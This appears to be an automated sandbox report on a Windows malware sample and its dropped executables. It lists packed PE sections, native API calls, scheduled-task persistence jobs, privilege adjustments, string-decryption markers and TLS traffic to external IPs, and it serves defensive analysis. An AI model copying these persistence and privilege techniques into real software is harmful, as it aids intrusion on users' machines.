Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58588 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58589 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58590 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58591 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58595 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58596 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58597 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58598 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:58609 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:58611 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58614 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:58615 version: TLS 1.2

System Summary
barindex
.NET source code contains very large strings
Source: build.exe.7.dr, cb9tD6.cs Long String: Length: 11394
Source: 7.2.Final.exe.3515570.1.raw.unpack, cb9tD6.cs Long String: Length: 11394
Source: 7.2.Final.exe.354d1e8.0.raw.unpack, cb9tD6.cs Long String: Length: 11394
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: .idata
Source: axplong.exe.0.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .rsrc
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: random[1].exe.6.dr Static PE information: section name:
Source: f99547c8e6.exe.6.dr Static PE information: section name:
Source: f99547c8e6.exe.6.dr Static PE information: section name: .rsrc
Source: f99547c8e6.exe.6.dr Static PE information: section name: .idata
Source: f99547c8e6.exe.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: 62dceeab4d.exe.6.dr Static PE information: section name:
Source: 62dceeab4d.exe.6.dr Static PE information: section name: .idata
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name:
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name: .idata
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name:
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: .idata
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name:
Source: skotes.exe.42.dr Static PE information: section name:
Source: skotes.exe.42.dr Static PE information: section name: .idata
Source: skotes.exe.42.dr Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F2B115 NtQueryInformationToken, 8_2_00007FF848F2B115
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F29D22 NtClose, 8_2_00007FF848F29D22
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F29D2B NtQueryInformationToken, 8_2_00007FF848F29D2B
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F2E3F9 NtClose, 8_2_00007FF848F2E3F9
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F2B305 NtQueryInformationToken, 8_2_00007FF848F2B305
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 19_2_6BECF280
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 19_2_6BF2B910
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF2B8C0 rand_s,NtQueryVirtualMemory, 19_2_6BF2B8C0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 19_2_6BF2B700
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe File created: C:\Windows\Tasks\skotes.job
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B1E440 6_2_00B1E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B14CF0 6_2_00B14CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B53068 6_2_00B53068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B47D83 6_2_00B47D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B14AF0 6_2_00B14AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B5765B 6_2_00B5765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B52BD0 6_2_00B52BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B58720 6_2_00B58720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B56F09 6_2_00B56F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B5777B 6_2_00B5777B
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F3E17A 8_2_00007FF848F3E17A
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F2EFFA 8_2_00007FF848F2EFFA
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F2304C 8_2_00007FF848F2304C
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F3D9FD 8_2_00007FF848F3D9FD
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F27285 8_2_00007FF848F27285
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEC35A0 19_2_6BEC35A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF353C8 19_2_6BF353C8
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECF380 19_2_6BECF380
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEDC370 19_2_6BEDC370
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEC5340 19_2_6BEC5340
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF0D320 19_2_6BF0D320
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF0E2F0 19_2_6BF0E2F0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEE1AF0 19_2_6BEE1AF0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF08AC0 19_2_6BF08AC0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF32AB0 19_2_6BF32AB0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEC22A0 19_2_6BEC22A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEF4AA0 19_2_6BEF4AA0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEDCAB0 19_2_6BEDCAB0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF3BA90 19_2_6BF3BA90
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF09A60 19_2_6BF09A60
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECC9A0 19_2_6BECC9A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEFD9B0 19_2_6BEFD9B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF05190 19_2_6BF05190
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF22990 19_2_6BF22990
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF1B970 19_2_6BF1B970
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF3B170 19_2_6BF3B170
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEDD960 19_2_6BEDD960
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEEA940 19_2_6BEEA940
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEEC0E0 19_2_6BEEC0E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF058E0 19_2_6BF058E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF350C7 19_2_6BF350C7
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEF60A0 19_2_6BEF60A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF0F070 19_2_6BF0F070
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEE8850 19_2_6BEE8850
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEED850 19_2_6BEED850
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF0B820 19_2_6BF0B820
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF14820 19_2_6BF14820
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BED7810 19_2_6BED7810
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECDFE0 19_2_6BECDFE0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEF6FF0 19_2_6BEF6FF0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF177A0 19_2_6BF177A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF07710 19_2_6BF07710
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BED9F00 19_2_6BED9F00
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF376E3 19_2_6BF376E3
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECBEF0 19_2_6BECBEF0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEDFEF0 19_2_6BEDFEF0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF24EA0 19_2_6BF24EA0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF2E680 19_2_6BF2E680
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEE5E90 19_2_6BEE5E90
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF36E63 19_2_6BF36E63
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECC670 19_2_6BECC670
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF03E50 19_2_6BF03E50
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEE4640 19_2_6BEE4640
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEE9E50 19_2_6BEE9E50
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF12E4E 19_2_6BF12E4E
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF29E30 19_2_6BF29E30
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF07E10 19_2_6BF07E10
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF15600 19_2_6BF15600
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF285F0 19_2_6BF285F0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF00DD0 19_2_6BF00DD0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEDFD00 19_2_6BEDFD00
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEF0512 19_2_6BEF0512
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEEED10 19_2_6BEEED10
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF06CF0 19_2_6BF06CF0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BECD4E0 19_2_6BECD4E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BED64C0 19_2_6BED64C0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEED4D0 19_2_6BEED4D0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF234A0 19_2_6BF234A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF2C4A0 19_2_6BF2C4A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BED6C80 19_2_6BED6C80
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BED5440 19_2_6BED5440
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF3545C 19_2_6BF3545C
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF3542B 19_2_6BF3542B
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF05C10 19_2_6BF05C10
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF12C10 19_2_6BF12C10
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF3AC00 19_2_6BF3AC00
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C036C00 19_2_6C036C00
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C04AC30 19_2_6C04AC30
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0F8D20 19_2_6C0F8D20
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C09AD50 19_2_6C09AD50
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C03ED70 19_2_6C03ED70
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFEEA80 19_2_6BFEEA80
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFECA70 19_2_6BFECA70
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C006D90 19_2_6C006D90
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0FCDC0 19_2_6C0FCDC0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFA49F0 19_2_6BFA49F0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C050E20 19_2_6C050E20
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C00EE70 19_2_6C00EE70
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFA8960 19_2_6BFA8960
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C010EC0 19_2_6C010EC0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFC6900 19_2_6BFC6900
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B0F20 19_2_6C0B0F20
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C032F70 19_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B8FB0 19_2_6C0B8FB0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFC0820 19_2_6BFC0820
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFFA820 19_2_6BFFA820
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C04EFF0 19_2_6C04EFF0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF70FE0 19_2_6BF70FE0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C044840 19_2_6C044840
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF7EFB0 19_2_6BF7EFB0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFDEF40 19_2_6BFDEF40
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0768E0 19_2_6C0768E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF76F10 19_2_6BF76F10
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF7AEC0 19_2_6BF7AEC0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFF6E90 19_2_6BFF6E90
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0009A0 19_2_6C0009A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C02A9A0 19_2_6C02A9A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0309B0 19_2_6C0309B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C08C9E0 19_2_6C08C9E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C01EA00 19_2_6C01EA00
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C028A30 19_2_6C028A30
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF74DB0 19_2_6BF74DB0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFCECD0 19_2_6BFCECD0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF6ECC0 19_2_6BF6ECC0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF7AC60 19_2_6BF7AC60
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C010BA0 19_2_6C010BA0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C076BE0 19_2_6C076BE0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFC43E0 19_2_6BFC43E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFCE3B0 19_2_6BFCE3B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFA23A0 19_2_6BFA23A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF72370 19_2_6BF72370
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C09A480 19_2_6C09A480
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF78340 19_2_6BF78340
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C00A4D0 19_2_6C00A4D0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFE2320 19_2_6BFE2320
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C074540 19_2_6C074540
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B8550 19_2_6C0B8550
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C010570 19_2_6C010570
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFF8260 19_2_6BFF8260
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C03A5E0 19_2_6C03A5E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF701E0 19_2_6BF701E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFD8140 19_2_6BFD8140
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFE6130 19_2_6BFE6130
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C00E6E0 19_2_6C00E6E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF800B0 19_2_6BF800B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF68090 19_2_6BF68090
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFBE070 19_2_6BFBE070
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C03C000 19_2_6C03C000
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C038010 19_2_6C038010
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF9A7D0 19_2_6BF9A7D0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C04C0B0 19_2_6C04C0B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFF0700 19_2_6BFF0700
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFCE6E0 19_2_6BFCE6E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF946D0 19_2_6BF946D0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C054130 19_2_6C054130
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFCC650 19_2_6BFCC650
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFFE5F0 19_2_6BFFE5F0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C03A210 19_2_6C03A210
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C048220 19_2_6C048220
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF645B0 19_2_6BF645B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C008250 19_2_6C008250
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFD2560 19_2_6BFD2560
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0422A0 19_2_6C0422A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C03E2B0 19_2_6C03E2B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFC8540 19_2_6BFC8540
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0F62C0 19_2_6C0F62C0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFB64D0 19_2_6BFB64D0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C08C360 19_2_6C08C360
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C006370 19_2_6C006370
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B2370 19_2_6C0B2370
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF88460 19_2_6BF88460
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFFA430 19_2_6BFFA430
Enables driver privileges
Source: C:\Users\user\AppData\Local\Temp\build.exe Process token adjusted: Load Driver Jump to behavior
Enables security privileges
Source: C:\Users\user\AppData\Local\Temp\build.exe Process token adjusted: Security Jump to behavior
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: String function: 6BF094D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: String function: 6BF93620 appears 51 times
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: String function: 6BF99B10 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: String function: 6BEFCBE8 appears 134 times
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Final[1].exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Final.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: file.exe Static PE information: Section: ZLIB complexity 0.997275204359673
Source: file.exe Static PE information: Section: onyqalus ZLIB complexity 0.9943312461994527
Source: axplong.exe.0.dr Static PE information: Section: ZLIB complexity 0.997275204359673
Source: axplong.exe.0.dr Static PE information: Section: onyqalus ZLIB complexity 0.9943312461994527
Source: random[1].exe.6.dr Static PE information: Section: usisoqoi ZLIB complexity 0.9949866959291486
Source: f99547c8e6.exe.6.dr Static PE information: Section: usisoqoi ZLIB complexity 0.9949866959291486
Source: random[1].exe0.6.dr Static PE information: Section: ZLIB complexity 0.9980285070532915
Source: 62dceeab4d.exe.6.dr Static PE information: Section: ZLIB complexity 0.9980285070532915
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: Section: ZLIB complexity 0.998020265667575
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: Section: bleglpjp ZLIB complexity 0.9942190613503985
Source: skotes.exe.42.dr Static PE information: Section: ZLIB complexity 0.998020265667575
Source: skotes.exe.42.dr Static PE information: Section: bleglpjp ZLIB complexity 0.9942190613503985
Source: 7.2.Final.exe.354d1e8.0.raw.unpack, dD4.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.Final.exe.3515570.1.raw.unpack, dD4.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: build.exe.7.dr, dD4.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: build.exe.7.dr, crH.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: build.exe.7.dr, crH.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
